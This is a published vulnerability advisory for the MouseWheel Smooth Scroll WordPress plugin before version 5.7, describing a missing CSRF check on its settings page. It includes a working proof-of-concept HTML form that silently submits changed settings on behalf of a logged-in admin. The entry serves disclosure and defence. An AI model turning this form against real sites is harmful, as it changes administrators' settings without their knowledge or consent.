WordPress Plugin Vulnerabilities

MouseWheel Smooth Scroll < 5.7 - Plugin's Setting Update via CSRF

Description

The plugin does not have CSRF check in place on its settings page, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=mousewheel-smooth-scroll.php" method="POST">
      <input type="hidden" name="plugin_sent" value="1" />
      <input type="hidden" name="timestamp" value="1633940109" />
      <input type="hidden" name="frameRate" value="150" />
      <input type="hidden" name="animationTime" value="1000" />
      <input type="hidden" name="stepSize" value="100" />
      <input type="hidden" name="pulseAlgorithm" value="1" />
      <input type="hidden" name="pulseScale" value="4" />
      <input type="hidden" name="pulseNormalize" value="1" />
      <input type="hidden" name="accelerationDelta" value="50" />
      <input type="hidden" name="accelerationMax" value="3" />
      <input type="hidden" name="keyboardSupport" value="1" />
      <input type="hidden" name="arrowScroll" value="50" />
      <input type="hidden" name="fixedBackground" value="1" />
      <input type="hidden" name="allowedBrowsers[]" value="IEWin7" />
      <input type="hidden" name="allowedBrowsers[]" value="Chrome" />
      <input type="hidden" name="allowedBrowsers[]" value="Safari" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
apple502j
Submitter
apple502j
Verified
Yes

Timeline

Publicly Published
2021-10-18 (about 2 years ago)
Added
2021-10-18 (about 2 years ago)
Last Updated
2022-04-16 (about 2 years ago)

Other